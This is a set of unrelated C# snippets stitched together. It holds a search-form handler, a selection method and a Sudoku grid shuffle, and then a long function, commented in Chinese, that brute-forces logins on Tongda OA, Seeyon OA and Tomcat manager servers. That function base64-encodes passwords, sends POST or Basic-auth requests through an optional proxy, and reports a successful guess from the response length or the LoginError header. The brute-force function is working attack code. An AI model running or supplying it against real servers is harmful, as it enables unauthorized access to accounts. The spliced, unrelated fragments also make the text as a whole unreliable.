private void rbTenChuRe_CheckedChanged(object sender, EventArgs e) { this.selected = SELECTED.TenChuRe; dtpNgay.Visible = txtSoDT.Visible = false; txtTuKhoa.Visible = true; txtTuKhoa.Focus(); }
public void Select2() { selectedKir = SELECTED.kir2; GetSelectedKirRoot(); k1.color = Color.black; k2.color = Color.white; }
private void rbNgay_CheckedChanged(object sender, EventArgs e) { this.selected = SELECTED.Ngay; txtTuKhoa.Visible = txtTuKhoa.Visible = false; dtpNgay.Visible = true; dtpNgay.Focus(); }
private void Rand(SELECTED mselect, int fvalue, int svalue) { switch (mselect) { case SELECTED.ROW: if (Math.Abs(fvalue - svalue) < 3) { int[] temp = new int[9]; for (int i = 0; i < 9; i++) { temp[i] = position[fvalue, i]; position[fvalue, i] = position[svalue, i]; position[svalue, i] = temp[i]; } } else { int fir = fvalue / 3; fir *= 3; int sec = svalue / 3; sec *= 3; for (int i = 0; i < 3; i++) { for (int j = 0; j < 9; j++) { int temp = 0; temp = position[fir + i, j]; position[fir + i, j] = position[sec + i, j]; position[sec + i, j] = temp; } } } break; case SELECTED.COL: if (Math.Abs(fvalue - svalue) < 3) { int[] temp = new int[9]; for (int i = 0; i < 9; i++) { temp[i] = position[i, fvalue]; position[i, fvalue] = position[i, svalue]; position[i, svalue] = temp[i]; } } else { int fir = fvalue / 3; fir *= 3; int sec = svalue / 3; sec *= 3; for (int i = 0; i < 3; i++) { for (int j = 0; j < 9; j++) { int temp = 0; temp = position[j, fir + i]; position[j, fir + i] = position[j, sec + i]; position[j, sec + i] = temp; } } } break; case SELECTED.DIAG: switch (fvalue / 5) { case 0: break; case 1: case 2: case 3: case 4: break; } break; case SELECTED.TURN: break; case SELECTED.NUMC: break; default: break; } }
/* * 这个就是子线程,即被调用的爆破功能函数 */ public void Brute(string url, string username, string password, long error_content) { //列表框选中状态 SELECTED SE = new SELECTED(SELECT); this.BeginInvoke(SE, new object[] { url }); ServicePointManager.DefaultConnectionLimit = 1024; //设置http并发数限制 SucRsAdd Suc_add = new SucRsAdd(SucAdd); //声明添加成功结果的委托变量,并赋值 try { //匹配登录接口,改变URL if (GetPostUrl(url, 10000)) { url = New_post_url; } String postData; string cookie; //目标类型选择,处理数据的方式不通,比如通达的密码要base64编码 switch (OA_Selected) { case "通达OA": byte[] tmp = Encoding.Default.GetBytes(password); password = Convert.ToBase64String(tmp); postData = User_field + "=" + username + "&" + Pass_field + "=" + password + "&encode_type=1"; cookie = GetCookie(url, username, password); break; case "tomcat": byte[] ttmp = Encoding.Default.GetBytes(username + ":" + password); postData = Convert.ToBase64String(ttmp); cookie = null; break; default: password = password; postData = User_field + "=" + username + "&" + Pass_field + "=" + password; cookie = GetCookie(url, username, password); break; } SucRsAdd FA = new SucRsAdd(FailAdd);//更新任务进度 listBox1.BeginInvoke(FA, new object[] { url, username, password }); HttpWebRequest reqContent = (HttpWebRequest)WebRequest.Create(url);//这个是请求的登录接口 if (Proxy_server != null && Proxy_port != null) { var proxy = new WebProxy(Proxy_server + ":" + Proxy_port, true); reqContent.Proxy = proxy; } HttpWebResponse respContent; switch (OA_Selected) { case "tomcat": try { reqContent.Method = "GET"; reqContent.ContentType = "text/html;charset=UTF-8"; reqContent.Headers.Add("Authorization", "Basic " + postData); reqContent.AllowAutoRedirect = false; //不自动跟随服务端重定向 reqContent.Timeout = 18000; respContent = (HttpWebResponse)reqContent.GetResponse(); listBox1.BeginInvoke(Suc_add, new object[] { url, username, password }); break; } catch (Exception exx) { string message = "目标" + url + "出现错误: " + exx.ToString(); LogAdd ld = new LogAdd(Error_log); this.BeginInvoke(ld, new object[] { message }); break; } default: reqContent.Method = "POST"; reqContent.ContentType = "application/x-www-form-urlencoded"; //数据一般设置这个值,除非是文件上传 reqContent.AllowAutoRedirect = false; //不自动跟随服务端重定向 byte[] postBytes = Encoding.UTF8.GetBytes(postData); reqContent.ContentLength = postBytes.Length; reqContent.Timeout = 15000; reqContent.Headers.Add("Cookie", cookie); //带Cookie请求 Stream postDataStream = reqContent.GetRequestStream(); postDataStream.Write(postBytes, 0, postBytes.Length); postDataStream.Close(); respContent = (HttpWebResponse)reqContent.GetResponse(); var LoginError = "1"; if (OA_Selected == "致远OA") { LoginError = respContent.Headers.GetValues("LoginError").First(); } else { LoginError = "1"; } //用来正确的获取响应包长度 MemoryStream stmMemory = new MemoryStream(); Stream stream = respContent.GetResponseStream(); byte[] arraryByte = new byte[1024]; byte[] buffer1 = new byte[1024 * 100]; //每次从文件读取1024个字节。 int i; //将字节逐个放入到Byte 中 while ((i = stream.Read(buffer1, 0, buffer1.Length)) > 0) { stmMemory.Write(buffer1, 0, i); } arraryByte = stmMemory.ToArray(); stmMemory.Close(); Content_L = error_content; //错误密码的返回长度 //不同类型目标有不同的判断成功的方式 if (arraryByte.Length == 1666) //通达密码正确的返回内容长度是1666 { suc_num += 1; password = Encoding.Default.GetString(System.Convert.FromBase64String(password)); //把密码解密回来 listBox1.BeginInvoke(Suc_add, new object[] { url, username, password }); //跨线程调用委托添加成功结果 } else if (LoginError == "13") //致远OA只能用IE登录,LoginError: 13就是登陆成功 { suc_num += 1; listBox1.BeginInvoke(Suc_add, new object[] { url, username, password }); } else if (Content_L != arraryByte.Length) { suc_num += 1; listBox1.BeginInvoke(Suc_add, new object[] { url, username, password }); } break; } } catch (Exception ex) { string message = "目标" + url + "出现错误: " + ex.ToString(); LogAdd ld = new LogAdd(Error_log); this.BeginInvoke(ld, new object[] { message }); } }